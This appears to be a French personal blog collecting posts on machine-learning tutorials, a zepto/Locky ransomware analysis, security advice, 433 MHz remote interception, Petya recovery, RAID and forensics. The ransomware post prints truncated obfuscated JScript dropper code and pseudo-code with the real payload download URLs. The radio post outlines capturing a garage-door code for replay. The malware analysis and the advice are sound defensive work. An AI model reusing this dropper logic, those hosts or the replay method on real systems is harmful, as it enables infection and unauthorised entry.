Le machine learning aujourd'hui et ce que cela implique

Le machine learning aujourd'hui et ce que cela implique

Le machine learning, ou apprentissage automatique ou statistique en français, cet article wikipédia nous dit que cela "concerne la conception, l'analyse, le développement et l'implémentation de méthodes permettant à une machine (au sens large) d'évoluer par un processus systématique, et ainsi de remplir des tâches difficiles ou impossibles à remplir par des moyens algorithmiques plus classiques."

Avant tout, je précise que je ne suis pas un spécialiste du domaine.

En se basant sur des exemples issus d'une série de vidéos de Google Developers, nous allons voir à quoi cela correspond plus concrètement. Pour cela nous utiliseront Scikit-learn et TensorFlow, des bibliothèques python libres d'apprentissage automatique.

  1. Classification d'éléments par caractéristiques

Il s'agit d'être capable de classifier des éléments à partir d'un jeu de données contenant des caractéristiques.

Dans cet exemple, nous allons tenter de classifier des iris dans leur sous-espèce à partir de la longueur et de la largeur des sépales et des pétales. Pour cela nous disposons du tableau suivant contenant 150 entrées (disponible dans son intégralité sur cet article wikipédia) :

longueur des sépales largeur des sépales longueur des pétales largeur des pétales espèce
5,1 3,5 1,4 0,2 setosa
4,9 3 1,4 0,2 setosa
4,7 3,2 1,3 0,2 setosa
4,6 3,1 1,5 0,2 setosa
5 3,6 1,4 0,2 setosa
5,4 3,9 1,7 0,4 setosa
4,6 3,4 1,5 0,2 setosa
[...]
7 3,2 4,7 1,4 versicolor
6,4 3,2 4,5 1,5 versicolor
6,9 3,1 4,9 1,5 versicolor
5,5 2,3 4 1,3 versicolor
6,5 2,8 4,6 1,5 versicolor
5,7 2,8 4,5 1,3 versicolor
[...]
6,3 3,3 6 2,5 virginica
5,8 2,7 5,1 1,9 virginica
7.1 3 5,9 2,1 virginica
6.3 2,9 5,6 1,8 virginica
6.5 3 5,8 2,2 virginica
7.6 3 6,6 2,1 virginica
[...]

Le code suivant utilise une méthode générant un arbre de décision. Il résout le problème en quelques lignes :

import numpy as np
from sklearn.datasets import load_iris
from sklearn import tree

# (1)
# import des donnees
iris = load_iris()

# (2)
test_idx = [0, 50, 100] 
# donnees entrainement
train_target = np.delete(iris.target, test_idx)
train_data = np.delete(iris.data, test_idx, axis=0)
# donnees test
test_target = iris.target[test_idx]
test_data = iris.data[test_idx]

# (3)
# entrainement
clf = tree.DecisionTreeClassifier()
clf = clf.fit(train_data, train_target)

# (4)
txt_result =['setosa', 'versicolor', 'virginica']
# calcul et affichage des resulats
result = clf.predict(test_data)
for i in range(len(result)):
    print str(test_data[i]) + " --> ",
    print txt_result[result[i]]

Dans l'ordre, on effectue les opérations suivantes :

  • Importer toutes les données
  • Exclure la première setosa (idx 0), la première versicolor (idx 50) et la première virginica (idx 100) des données d'entrainement, pour les utiliser comme données de test
  • L'algorithme créé un arbre de décision
  • Calculer et afficher les résultats pour les données de test

A l'exécution du script, on remarque que l'arbre de décision créé par l'algorithme, permet effectivement de catégoriser l'espèce :

$ python arbre_iris.py
[ 5.1  3.5  1.4  0.2] -->  setosa
[ 7.   3.2  4.7  1.4] -->  versicolor
[ 6.3  3.3  6.   2.5] -->  virginica

Avec un peu plus de code, de manière à visualiser son fonctionnement, on peut générer une image représentant l'arbre de décision qui a été créé par l'algorithme :

iris

On peut aussi utiliser la méthode des k plus proches voisins. Pour cela il suffit de changer deux lignes dans le code précédent :

import numpy as np
from sklearn.datasets import load_iris
from sklearn.neighbors import KNeighborsClassifier # <--------------- ligne changee

# import des donnees
iris = load_iris()

test_idx = [0, 50, 100] 
# donnees entrainement
train_target = np.delete(iris.target, test_idx)
train_data = np.delete(iris.data, test_idx, axis=0)
# donnees test
test_target = iris.target[test_idx]
test_data = iris.data[test_idx]

# entrainement
clf = KNeighborsClassifier() # <--------------- ligne changee
clf = clf.fit(train_data, train_target)

txt_result =['setosa', 'versicolor', 'virginica']
# calcul et affichage des resulats
result = clf.predict(test_data)
for i in range(len(result)):
    print str(test_data[i]) + " --> ",
    print txt_result[result[i]]

À l'exécution du script, on obtient les mêmes résultats qu'auparavant, l'algorithme catégorise bien l'espèce :

$ python arbre_iris.py
[ 5.1  3.5  1.4  0.2] -->  setosa
[ 7.   3.2  4.7  1.4] -->  versicolor
[ 6.3  3.3  6.   2.5] -->  virginica

On constate donc qu'avec une quinzaine de ligne de code, il est assez simple de classifier des éléments à partir d'un jeu de données contenant des caractéristiques numériques.

  1. Classification d'images

Il s'agit d'être capable de classifier des images, en entrainant un algorithme avec d'images connues.

Dans cet exemple, nous allons tenter de différencier et catégoriser des images de roses et de tulipes. Pour cela nous utiliserons inception, un réseau pré-entrainé développé par Google. Pour terminer son entrainement, nous lui fournirons 641 images de roses et 799 images de tulipes, dont voici un échantillon :

rosestulipes

On commence par terminer l'entrainement de l'algorithme avec la commande suivante :

$ python retrain.py \
--bottleneck_dir=/bottlenecks \
--model_dir=/inception \
--output_graph=/retrained_graph.pb \
--output_labels=/retrained_labels.txt \
--image_dir /img

Elle prend un certain temps et affiche les éléments suivants :

Looking for images in 'roses'
Looking for images in 'tulipes'
Creating bottleneck at /bottlenecks/roses/9433167170_fa056d3175.jpg.txt
Creating bottleneck at /bottlenecks/roses/9458445402_79e4dfa89c.jpg.txt
[...]
Creating bottleneck at /bottlenecks/tulipes/8712263493_3db76c5f82.jpg.txt
Creating bottleneck at /bottlenecks/tulipes/8712266605_3787e346cd_n.jpg.txt
[...]
2016-12-25 18:46:40.000000: Step 0: Train accuracy = 59.0%
2016-12-25 18:46:40.236750: Step 0: Cross entropy = 0.643191
2016-12-25 18:46:40.583488: Step 0: Validation accuracy = 50.0%
2016-12-25 18:46:43.671932: Step 10: Train accuracy = 81.0%
2016-12-25 18:46:43.672876: Step 10: Cross entropy = 0.514823
2016-12-25 18:46:44.015942: Step 10: Validation accuracy = 87.0%
[...]
2016-12-25 19:04:52.943261: Step 3999: Train accuracy = 98.0%
2016-12-25 19:04:52.944066: Step 3999: Cross entropy = 0.088042
2016-12-25 19:04:53.190913: Step 3999: Validation accuracy = 85.0%
Final test accuracy = 93.0%
Converted 2 variables to const ops.

Après qu'il a analysé les 1440 images, nous obtenons deux fichiers : "retrained_graph.pb" et "retrained_labels.txt". À partir de ces deux fichiers, nous pouvons tenter d'identifier des images en utilisant le code suivant :

import tensorflow as tf, sys

image_path = sys.argv[1]

# Read in the image_data
image_data = tf.gfile.FastGFile(image_path, 'rb').read()

# Loads label file, strips off carriage return
label_lines = [line.rstrip() for line in tf.gfile.GFile("./retrained_labels.txt")]

# Unpersists graph from file
with tf.gfile.FastGFile("./retrained_graph.pb", 'rb') as f:
    graph_def = tf.GraphDef()
    graph_def.ParseFromString(f.read())
    _ = tf.import_graph_def(graph_def, name='')

with tf.Session() as sess:
    # Feed the image_data as input to the graph and get first prediction
    softmax_tensor = sess.graph.get_tensor_by_name('final_result:0')

    predictions = sess.run(softmax_tensor, {'DecodeJpeg/contents:0': image_data})

    # Sort to show labels of first prediction in order of confidence
    top_k = predictions[0].argsort()[-len(predictions[0]):][::-1]

    for node_id in top_k:
        human_string = label_lines[node_id]
        score = predictions[0][node_id]
        print('%s (score = %.5f)' % (human_string, score))

Il suffit ensuite de lui passer une image en argument et il l'identifie lorsque c'est possible :

$ python label_image.py rose.jpg
roses (score = 0.99040)
tulipes (score = 0.00960)
$ python label_image.py tulipe.jpg
tulipes (score = 0.99649)
roses (score = 0.00351)
$ python label_image.py marguerite.jpg
roses (score = 0.66204
tulipes (score = 0.33796)

On constate que, lorsqu'on lui fournit une image de rose, il l'identifie à 99 %. Il en est de même pour la tulipe. Lorsqu'on lui fournit une image contenant une marguerite, un type d'image pour lequel l'algorithme n'a pas été entrainé, il tente tout de même de l'identifier comme une rose ou une tulipe. Mais les indices de confiance sont beaucoup moins tranchés et on peut conclure qu'il ne s'agit ni d'une rose, ni d'une tulipe.

Ainsi, de nouveau, une quinzaine de ligne de code permet de classifier des images pour lesquelles l'algorithme a été entrainé.

  1. Ce que cela implique

Dans le cas du premier exemple, on pourrait étudier les données du tableau et en déduire un arbre de décision, qu'un développeur pourrait transformer en code. Cependant, le nombre de lignes nécessaires serait beaucoup plus important et à chaque nouvelle problématique l'arbre de décision devrait être de nouveau créé et retraduit en code.

C'est là toute la puissance des algorithmes d'apprentissage automatiques, le même code peut être réutilisé pour des problèmes différents.

Dans le cas du second exemple, c'est totalement différent. Il s'agit d'une problématique qu'on ne peut pas résoudre en utilisant des méthodes de développement procédurales classiques. Seuls les réseaux de neurones permettent d'obtenir des résultats fiables.

Comme nous l'avons montré dans les paragraphes précédents, aujourd'hui, des outils libres tels que Scikit-learn ou TensorFlow permettent de mettre en œuvre, sans trop de difficultés, des algorithmes d'apprentissage automatique. De ce fait, il n'est plus nécessaire de disposer d'une grosse équipe de recherche et développement pour pouvoir les implémenter dans les entreprises.

Quand je repense aux quelques fois où j'ai été confronté à des problématiques de classements, que j'ai dû résoudre avec des centaines de lignes de codes, je me dis qu'aujourd'hui je pourrais en venir à bout beaucoup plus simplement et rapidement.

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Hier, j'ai reçu un courriel suspect... Suspect, parce qu'il est marqué comme SPAM par OVH, que je ne connais pas l'expéditeur, que je n'attendais pas de lettre de confirmation, encore moins d'un anglophone, et qu'il contient une pièce jointe au format zip :

courriel-zepto

Le fichier zip a un ratio de détection virustotal assez moyen : 23/53. Il contient un fichier dont l'extension est "js" pour javascript nommé "data 2fcf143c-.js". Ce dernier obtient un ratio de détection similaire : 21/54. Voici une partie de son contenu :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
WScript.Sleep(1); var aEx = (1, 2, 3, ['\x77\x73\x68\x20\x3d','\x20\x57\x53\x63\x72','\x69\x70\x74\x2e\x43','\x72\x65\x61\x74\x65','\x4f\x62\x6a\x65\x63','\x74\x28\x22\x57\x53','\x63\x72\x69\x70\x74','\x2e\x53\x68\x65\x6c','\x6c\x22\x29\x3b\x0a','\x73\x65\x20\x3d\x20','\x77\x73\x68\x2e\x45','\x6e\x76\x69\x72\x6f','\x6e\x6d\x65\x6e\x74','\x28\x22\x53\x59\x53','\x54\x45\x4d"\x29','\x3b\x0a\x6f\x73\x20','\x3d\x20\x73\x65\x28','\x22\x4f\x53\x22\x29','\x3b\x0a\x69\x66\x20','\x28\x6f\x73\x20\x21','\x3d\x20\x22\x57\x69','\x6e\x64\x6f\x77\x73','\x5f\x4e\x54\x22\x29','\x20\x7b\x57\x53\x63','\x72\x69\x70\x74\x2e','\x51\x75\x69\x74\x28','\x30\x29\x3b\x7d\x0a','\x76\x61\x72\x20\x4c','\x4d\x79\x39\x20\x3d','\x20\x22\x6f\x73\x65','\x22\x20\x2b\x20\x22','\x22\x3b\x0d\x0a\x76','\x61\x72\x20\x52\x79','\x20\x3d\x20\x22\x63','\x6c\x22\x20\x2b\x20','\x22\x22\x3b\x0d\x0a','\x76\x61\x72\x20\x4d','\x54\x76\x20\x3d\x20','\x22\x69\x6c\x65\x22','\x20\x2b\x20\x22\x22','\x3b\x0d\x0a\x76\x61','\x72\x20\x4a\x4a\x70','\x33\x20\x3d\x20\x22','\x65\x54\x6f\x46\x22','\x20+\x20\x22\x22',';\x0d\x0a\x76\x61','\x72\x20\x4a\x70\x35','\x20\x3d\x20\x22\x53','\x61\x76\x22\x20\x2b','\x20\x22\x22\x3b\x0d','\x0a\x66\x75\x6e\x63','\x74\x69\x6f\x6e\x20','\x41\x66\x28\x45\x4c','\x73\x30\x29\x7b\x72','\x65\x74\x75\x72\x6e','\x20\x45\x4c\x73',

[...]

'\x4e\x20\x20\x2a','\x2f\x2c\x20\x32\x29','\x3b\x0d\x0a\x0d\x0a','\x20\x20\x20\x20\x44','\x41\x62\x34\x5b\x50','\x47\x69\x35\x20\x2b','\x20\x48\x4a\x69\x5d','\x28\x29\x3b\x0d\x0a','\x7d\x3b']);
 eval(aEx.join(''));

Le code est donc dissimulé. Si l'on simule le "aEx.join('')" et que l'on remplace les "\x??" par leurs caractère ASCII, on obtient ce genre de choses :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
var LMy9 = "ose" + "";
var Ry = "cl" + "";
var MTv = "ile" + "";
var JJp3 = "eToF" + "";
var Jp5 = "Sav" + "";
function Af(ELs0){return ELs0;};
function MZb(Hh1){return Hh1;};

[...]

var Yz=[AAd1 + Cg7 + (function Ba1(){return Ut;}()) + (function Hk7(){return WZw;}()) + (function SXn(){return KSx;}()) + He + Ny6, VGj1 + Pm0 + Lh(NKi)];

for (var IBx3=0; IBx3 < Yz[EAt7 + Bq]; IBx3++)
{
 try 
 {
 var AJf=WScript[HYu2 + QUd3(Ht0) + JBs8](Yz[IBx3]);
 break;
 }
 catch (e)
 {
 continue;
 }
};

var Lp9=1;
var Gr=0;
do
{
 try
 {
 if (1== Lp9)
 {
 if (Gr >= IDz0[EAt7 + (function Cg(){return Bq;}())])
 {
 Gr=0;
 WScript[Go7](2 * 500);
 }
 AJf[Jh + Nz3](Iv(MGd), IDz0[Gr++ % IDz0[EAt7 + Bq]], false);
 AJf[(function Co(){return Dg;}()) + Fn]();
 }
[...]
} while (Lp9);

WScript.Quit(0);

function Kx1 /* N */(Lj4)
{
[...]
};
[...]

Une nouvelle fois, le code est dissimulé. Avec un peu de travail on finit par obtenir le pseudo code (très simplifié) suivant :

Télécharger http://silverjinoz.net/49x2nv ou http://210.240.104.2/8wldse8 ou http:/otwayorchard.net/ydumpjt5
Enregistrer le fichier dans %TEMP%/QNUnOOHWq
Lire le fichier %TEMP%/QNUnOOHWq
Décoder le fichier %TEMP%/QNUnOOHWq
Enregistrer le resultat dans %TEMP%/QNUnOOHWq.exe
Exécuter le fichier %TEMP%/QNUnOOHWq.exe avec le paramètre "323"

On peut noter que le fichier "QNUnOOHWq" obtient un ratio de détection de 4/53 et que le fichier "QNUnOOHWq.exe" obtient, quant à lui, un ratio de détection de 29/53.

Lorsqu'il est exécuté, le ransomware commence à chiffrer les fichiers en fonction de leur extension, les renomme et change l'extension en "zepto". On obtient des noms qui commencent tous par l'identifiant unique "4D52B197-2A12-A30E" :

4D52B197-2A12-A30E-02EF-009C32C16841.zepto
4D52B197-2A12-A30E-15D0-458CC59B47D4.zepto
4D52B197-2A12-A30E-99E4-44BEC0FC555D.zepto
4D52B197-2A12-A30E-557A-D9F7B26EB9C3.zepto

Lorsqu'il a terminé de chiffrer les fichiers, il affiche comment payer pour récupérer ses fichiers. Pour cela, il change l'écran de fond de windows et il ouvre les fichiers "_HELP_instructions.bmp" et "_HELP_instructions.html" :

help-instructionhelp-instruction-html

En suivant le lien fourni dans le fichier html, on arrive sur la page suivante, intitulée "Locky Decryptor Page" :

onion

Il demande 2 BTC soit un peu plus de 1000 € au cours actuel. Comme d'habitude je recommande de ne pas payer. Vous n'avez aucune garantie que cela permettra de déchiffrer les fichiers.

Une vidéo de l'infection :

À ce jour, il n'existe pas de solution pour déchiffrer les fichiers d'une machine infectée par zepto.

Ainsi, selon moi, la solution à ce genre de problématique se situe plutôt au niveau de la prévention.

Il s'agit, d'une part, de former les utilisateurs à reconnaître les courriels suspects et ne pas les ouvrir et d'autre part, d'avoir mis en place une solution de sauvegardes déportées, hors ligne et régulièrement vérifier qu'elles fonctionnent comme attendu.

Cinq conseils simples pour la sécurité informatique en entreprise

Cinq conseils simples pour la sécurité informatique en entreprise

Aujourd'hui l'informatique est l'un des éléments clés du fonctionnement et du développement des entreprises. Il ne se passe pas quelques jours sans que l'on entende parler de nouvelles malveillances informatiques visant des entreprises de toutes tailles et provoquant des dommages parfois irrémédiables. C'est pourquoi, il convient de protéger les systèmes d'informations, qui sont un patrimoine essentiel.

Voici cinq conseils simples qui permettent de se prémunir contre une bonne partie des attaques.

  1. Mots de passe

Les mots de passe sont la base de presque tous les contrôles d'accès. Il s'agit donc de changer systématiquement ceux qui sont définis par défaut et de ne pas les choisir à la légère.

En premier lieu, il ne faut pas utiliser le même mot de passe partout. En effet, si l'un des sites que vous utilisiez a été compromis, tous vos accès utilisant le même mot de passe le sont également. À titre d'exemple, en 2012, LinkedIn s'est fait volé près de 165 millions d'identifiant et de mots de passe. Cela a notamment permis à un groupe de prendre (temporairement) le contrôle de nombreux comptes de personnalités, dont les comptes twitter et pinterest de Mark Zuckerberg.

Ensuite, il faut utiliser des mots de passe suffisamment longs et complexes. Un bon mot de passe fait plus de huit caractères, il ne contient pas de mots qui peuvent apparaître dans le dictionnaire ou des informations personnelles et il mélange lettres majuscules et minuscules, chiffres et symboles. Par exemple, bien qu'assez long, un prénom suivi d'une date de naissance, n'est pas un bon mot de passe. En effet, il existe des outils qui permettent facilement de générer un dictionnaire à partir d'informations qu'on leur fournis.

Enfin, comme les brosses à dents ou les sous-vêtements, les mots de passe ne se partagent pas et se changent régulièrement. Cela permet de s'assurer que s'ils sont compromis, la possibilité d'attaque sera limitée dans la durée.

Il est humainement difficile de rester en accord avec ces règles. Pour nous y aider, il existe des solutions logicielles qui fonctionnent parfaitement. Elles permettent de générer des mots de passe complexes et s'en souviennent pour vous. Il suffit de mémoriser un seul mot de passe maître qui protégera tous les autres. On peut citer, entres autres, LastPass ou KeepPass.

  1. Mises à jour

On entend parfois parler d'utilisation de failles dites zero day, c'est-à-dire des failles qui ne sont pas encore connues et/ou corrigées. Elles ne sont que très rarement utilisées et quasiment exclusivement pour des cibles importantes. La grande majorité des attaques exploitent des failles bien connues, pour lesquelles des correctifs sont disponibles. De plus, dès leur sortie, ces correctifs sont rapidement analysés par les cybercriminels afin de comprendre ce qu'ils apportent et créer des outils qui permettent d'exploiter les éléments corrigés. C'est pourquoi, il est primordial d'appliquer systématiquement les mises à jour. Cela concerne bien évidemment les bases antivirus, les systèmes d'exploitation et les logiciels, mais également tous les équipements connectés au réseau.

  1. Accès physiques

La simplicité des accès physiques peut également être la base d'une attaque. Moins d'une minute peut suffire pour compromettre une machine ou créer une connexion pérenne à un réseau local, lorsqu'on est laissé seul devant un ordinateur ou une prise réseau. Ainsi, il ne sert à rien de mettre en place une politique de sécurité informatique très stricte si les accès physiques ne sont pas compliqués. De ce fait, il est important de penser aussi à sécuriser les accès physiques à l'informatique.

  1. Prévention

Le social engineering, qui consiste à tromper son interlocuteur pour obtenir des informations ou un accès physique, est au centre de bon nombre d'attaques. Par exemple, il s'agit de savoir ne pas ouvrir n'importe quel courriel, ne pas cliquer sur n'importe quel lien, ne pas connecter n'importe quelle clé USB, ne pas répondre à des questions au téléphone, etc. La sécurité informatique n'est pas forcément instinctive, elle s'acquiert. C'est pourquoi, il est essentiel de former ses équipes aux bonnes pratiques.

  1. Sauvegardes

Il s'agit d'anticiper une perte éventuelle de données. Les données importantes doivent plutôt être stockées sur un serveur prévu à cet effet. Il doit disposer d'un système de sauvegarde périodique en ligne et hors ligne et il faut vérifier régulièrement que les sauvegardes sont fonctionnelles. Afin de pouvoir relancer ce serveur rapidement et perdre le moins de temps possible, il est recommandé d'écrire des procédures d'urgence dans un plan de continuité d’activité, en décrivant notamment la restauration des données en cas de sinistre majeur.

On peut donc dire que la sécurité informatique ne se limite pas à l'achat de produits, mais correspond plutôt à un état d'esprit, mais aussi et surtout à la mise en place de processus. De ce fait, il s'agit d'une problématique transversale entre la technique et l'humain. Ainsi, cela nécessite d'une part, une connaissance approfondie de son système d'information et de tous les éléments qui le composent. Et d'autre part, cela exige également d'impliquer les humains qui sont finalement au cœur de tout.

433 MHz d'insécurité, un exemple

433 MHz d'insécurité, un exemple

La bande de fréquence des 433 MHz est très largement utilisée. Elle est ouverte à tous et employée pour faire fonctionner des télécommandes de voitures ou de portails, des thermomètres d'extérieur, des baby-phones, des jouets, etc.

Voici une télécommande de porte de garage très répandue :

télécommande

Elle utilise un code à 12 bits qui se règle en actionnant les interrupteurs du DIP switch situé au-dessus de la pile. Passons sur le fait que 12 bits, ça ne fait que 4096 possibilités, on peut très facilement intercepter ce code.

Pour cela, on enregistre le signal démodulé en WFM pour obtenir un ficher WAW. On peut l'ouvrir avec Audacity pour visualiser la waveform. Après une petite amplification, en mode Forme d'onde (dB), on obtient quelque chose comme ceci :

wave-1

On distingue assez facilement le moment ou le bouton est enfoncé et si on zoome on peut voir cela :

wave-2

Cette fois, on visualise assez aisément que la télécommande passe son temps à se répéter. En zoomant sur l'un des messages, on peut directement lire le code de la télécommande :

wave-3

Ainsi, il suffit d'attendre qu'on ouvre la porte pour intercepter très aisément le code. Ensuite, on pourra l'ouvrir ou la fermer à volonté. Si votre entreprise ou votre maison utilise ce genre de télécommande, votre porte blindée multipoints est inutile. Le niveau global de sécurité est caractérisé par le niveau de sécurité du maillon le plus faible.

Le ransomware petya - Comment récupérer ses données

Le ransomware petya - Comment récupérer ses données

Billet mis à jour le 11 avril en fin d'article.

Avant tout, je précise que, dans tous les cas, quelque soit le rançongiciel, il ne faut jamais payer la rançon réclamée.

Il y a une semaine, G DATA a publié sur son blog un nouvel article intitulé "Ransomware Petya encrypts hard drives", soit en français, Petya, le rançongiciel qui chiffre le disque. En fait, il ne chiffre pas le disque, seulement une toute petite partie.

Ce que Petya fait vraiment

Dès son exécution, on a l'impression qu'il fait planter Windows, mais, avant cela, il a pris soin de modifier le MBR et les 55 secteurs suivants, pour y placer son code et faire en sorte qu'il soit exécuté.

Voici le MBR avant et après :

petya-1

A ce moment là, il n'a encore rien fait d'autre et tous les fichiers sont intacts et récupérables. C'est lors du redémarrage que cela se complique. Il affiche quelque chose qui ressemble à une vérification du système de fichier :

petya-2

En fait, il ne vérifie rien. Pendant ce temps, il chiffre chaque enregistrement MFT. Voici un enregistrement $MFTmirr avant et après :

petya-3

Lorsqu'il a terminé de chiffrer tous les enregistrements MFT, il affiche sa tête-de-mort puis quelque chose comme ceci après avoir appuyé sur une touche :

petya-4

On retrouve la tête-de-mort et les éléments de la capture précédente à partir du secteur 45 :

petya-5

Et finalement, c'est tout ce qu'il fait ! Ce qui signifie que les fichiers ne sont absolument pas chiffrés et donc, en partie récupérables assez facilement.

Comment récupérer ses fichiers ?

Pour récupérer les fichiers, il faut brancher le disque dur infecté sur une autre machine et utiliser un logiciel de récupération de données par signatures. L'excellent PhotoRec est parfait pour cette tâche et son développeur propose un tutoriel étape par étape.

Pendant la recherche, il affiche le nombre de fichiers récupérés :

photorec

Il est important de noter que ce type logiciel ne fait qu'une recherche par signature. Ainsi, tous les types de fichiers ne peuvent être récupérés et ceux qui le seront auront perdu leurs propriétés, c'est-à-dire leur nom et leur place dans l'arborescence. De plus, les fichiers fragmentés ne seront récupérés que partiellement.

De ce fait, lorsque PhotoRec a terminé, il faut faire le tri et c'est là l'étape la plus compliquée.

Encore une fois, quelque soit le rançongiciel, il ne faut jamais payer la rançon réclamée et mettre en place un système de sauvegardes.

Mise à jour du 11 avril : comment récupérer tous ses fichiers ?

leostone propose une solution permettant de trouver la clé permettant de récupérer l'intégralité de vos données. Il faut toujours brancher le disque dur infecté sur une autre machine et lire le secteur 55 et 8 octets (offset 0x21) du secteur 54 et les convertir en base 64. On peut aussi utiliser l'outil PetyaExtractor pour faire cette opération. Ensuite il faut se rendre à l'adresse suivante : https://petya-pay-no-ransom.herokuapp.com/ pour fournir les éléments précédents. On clique sur "submit", on patiente un peu et on récupère la clé de déchiffrement que Petya réclame. Enfin, on rebranche le disque sur sa machine originale et on démarre. On rentre la clé et après déchiffrement, la machine devrait démarrer normalement.

Qu'est-ce qu'un RAID ? Ses faiblesses...

Qu'est-ce qu'un RAID ? Ses faiblesses...

RAID signifie Redondant Array of Indepedant Disk, soit, en français, grappe redondante de disques indépendants. L'acronyme date de la fin des années 80, mais le concept est plus ancien et est toujours utilisé de nos jours. Il s'agit d'utiliser plusieurs disques durs pour constituer un volume plus performant, plus fiable ou les deux à la fois. Ce volume est géré logiciellement ou matériellement. Dans ce cas, on parle de contrôleurs RAID. Ils sont intégrés à la carte-mère (bas de gamme) ou sur une carte fille (haut de gamme).

Il existe plusieurs niveaux de RAID. Les plus répandus sont le RAID 0, le RAID 1, le RAID 5 et le RAID 6 (le RAID 2, le RAID 3 et le RAID 4 ne sont plus utilisés).

  1. RAID 0

Le RAID 0 ne vise qu'à améliorer les performances. Pour cela, les disques physiques sont découpés en bandes de secteurs de taille égale (multiple d'une puissance de 2). Ces bandes sont agglomérées les unes après les autres pour constituer le disque vu par le système. Puisqu'un petit dessin vaut mieux qu’un long discours, voici un schéma illustrant le principe d'un RAID 0 avec deux disques :

raid02disks

Si l'un des disques est défaillant, tout le volume est inaccessible.

  1. RAID 1

Le RAID 1 ne vise qu'à améliorer la fiabilité. Pour cela, toutes les données sont intégralement écrites sur chaque disque de la grappe. Ainsi, tous les disques contiennent tous les mêmes données et tant qu'il y en a un qui fonctionne, le volume n'est pas impacté.

  1. RAID 5

Le RAID 5 vise à améliorer les performances et la fiabilité. Pour cela, on utilise le même principe de découpage en bande du RAID 0 auquel on ajoute une bande de parité distribuée. Le calcul de cette dernière repose sur un XOR (OU EXCLUSIF) dont les propriétés mathématiques permettent de perdre n'importe quel disque sans impacter le système. Voici 4 schémas illustrant les différentes possibilités de RAID 5, à savoir :

  • gauche asynchrone (la parité se déplace vers la gauche et la numérotation recommence sur le premier disque)

raid5b

  • gauche synchrone (la parité se déplace vers la gauche et la numérotation recommence après la parité)

raid5bd

  • droite asynchrone (la parité se déplace vers la droite et la numérotation recommence sur le premier disque)

raid5f

  • droite synchrone (la parité se déplace vers la droite et la numérotation recommence après la parité)

raid5fd

Certains constructeurs, HP en particulier, introduisent un délai sur la parité, c'est-à-dire qu'elle ne se déplace pas à gauche ou à droite à chaque bande, mais toutes les 4, 8 ou 16 bandes.

  1. RAID 6

Le RAID 6 vise également à améliorer les performances et la fiabilité. Le principe est le même que pour le RAID 5, mais avec deux bandes de parité. La première repose, comme pour le RAID 5, sur un XOR. La seconde repose sur les corps finis et est beaucoup plus complexe. Du fait des deux bandes de parité, on peut perdre deux disques sans impacter le volume. Voici un schéma illustrant une configuration (gauche synchrone) RAID 6 :

raid6

Les faiblesses

Les systèmes RAID ne sont pas infaillibles. Tout d'abord, comme tous les autres systèmes informatiques, ils ne sont pas insensibles aux facteurs externes que sont les risques naturels (incendie, inondation, surcharge électrique), les risques humains (vol, dégradation) et les risques informatiques (virus, malware). Ensuite, il n'est pas impossible que plusieurs disques tombent en panne en même temps. En effet, les disques d'une grappe sont souvent issus de la même série. Dans ce cas, le MTBF (Mean Time Between Failures ou temps moyen entre pannes) est très sensiblement identique et donc les chances que plusieurs disques faillissent en même temps sont importantes. Enfin, ils ne protègent pas contre les suppressions accidentelles de fichiers ou toutes les autres erreurs humaines, souvent induites par excès de confiance dans le système, ce qui constitue finalement sa principale faiblesse.

De ce fait, il ne faut pas leur faire entièrement confiance et mettre en place un système de sauvegardes périodiques déportées et régulièrement vérifier qu'elles fonctionnent comme attendu.

Qu'est-ce que l'investigation numérique ?

Qu'est-ce que l'investigation numérique ?

L'investigation numérique ou l'informatique légale (ou computer forensics en anglais) prend de plus en plus de place dans les enquêtes de police ou judiciaires mais aussi dans des affaires privées. Elle trouve ses sources à la fin des années 70 lorsque les premiers crimes impliquant des ordinateurs apparaissent. Elle évolue dans les années 80 et 90 pour se transformer en industrie dans les années 2000.

Aujourd'hui, on peut dire que c'est l'art et la science de collecter, préserver, identifier, analyser et présenter des preuves issues de supports numériques.

  1. "L'art et la science"

L'investigation numérique est une science, d'une part, parce que l'informatique répond aux lois de la physique et d'autre part, parce qu'une grande partie des processus sont encadrés par des procédures scientifiques de manière à les rendre reproductibles.

C'est également un art car chaque investigation est différente du fait que chaque organisation et chaque utilisateur est différent. De plus, elle nécessite un certain savoir faire qui s'acquiert avec l'expérience et deux investigateurs peuvent travailler différemment sur un cas pour obtenir les même résultats.

  1. "Preuves issues de supports numériques"

Lorsque l'on parle de supports numériques, la première chose qui vient à l'esprit est l'ordinateur ou le smartphone. Mais il s'agit également de cartes mémoires, de clés USB, d'appareils photo numériques, de GPS, de consoles de jeux, de box ADSL, de composants réseau, d'imprimantes, etc. Tout ce qui contient de la mémoire peut ou devrait être étudié.

Les preuves peuvent être des éléments de trois types. En premier lieu, il s'agit des fichiers générés par l'utilisateur (documents, messageries, carnet d'adresses, favoris Internet, etc.). Ensuite, il s'agit des fichiers générés par le système d'exploitation (sauvegarde, fichiers de configuration, historique des fichiers ouverts ou Internet, etc.). Enfin, il s'agit de tout ce qui n'est pas stocké sous forme de fichiers (métadonnées, RAM, espace non alloué, etc.). Ainsi les preuves peuvent donc se situer dans tout le contenu de la mémoire. Il faut cependant noter que la saisie a lieu à un moment donné et que l'absence de preuve n'est pas la preuve de l'absence.

  1. "Collecter"

La collecte correspond généralement à une copie dite bit-à-bit qu'on appelle image. Elle doit être pure et parfaite. Cela signifie que, d'une part, elle doit être une copie exacte du support original donc son empreinte numérique (MD5 et/ou SHA1) doit être identique à celle de l'original. Et d'autre part, l'opération de copie ne doit pas modifier l'original. En cas d'impossibilité de faire une copie "pure" et "parfaite", il est important de le documenter. Par exemple, lorsqu'on est confronté à des secteurs défectueux ou illisibles, il faut les consigner et indiquer par quoi leur contenu a été remplacé dans l'image.

  1. "Préserver"

Il s'agit essentiellement de se demander comment manipuler, transporter et stocker les images et de mettre en place les procédures liées à ces questions. Ainsi, pour manipuler un disque dur, ou tout autre matériel électronique possédant des composants apparents, afin d'éviter des décharges électrostatiques, il est d'usage de porter un bracelet antistatique (ou ESD). Pour le transport et le stockage, il existe des sacs de protection antistatique dans tous les formats. Pour un téléphone ou un smartphone, on ne l'allume que lorsqu'il est dans une cage de Faraday. Il s'agit également de ne pas modifier le contenu de l'image lors des phases d'identification et d'analyse.

  1. "Identifier" et "analyser"

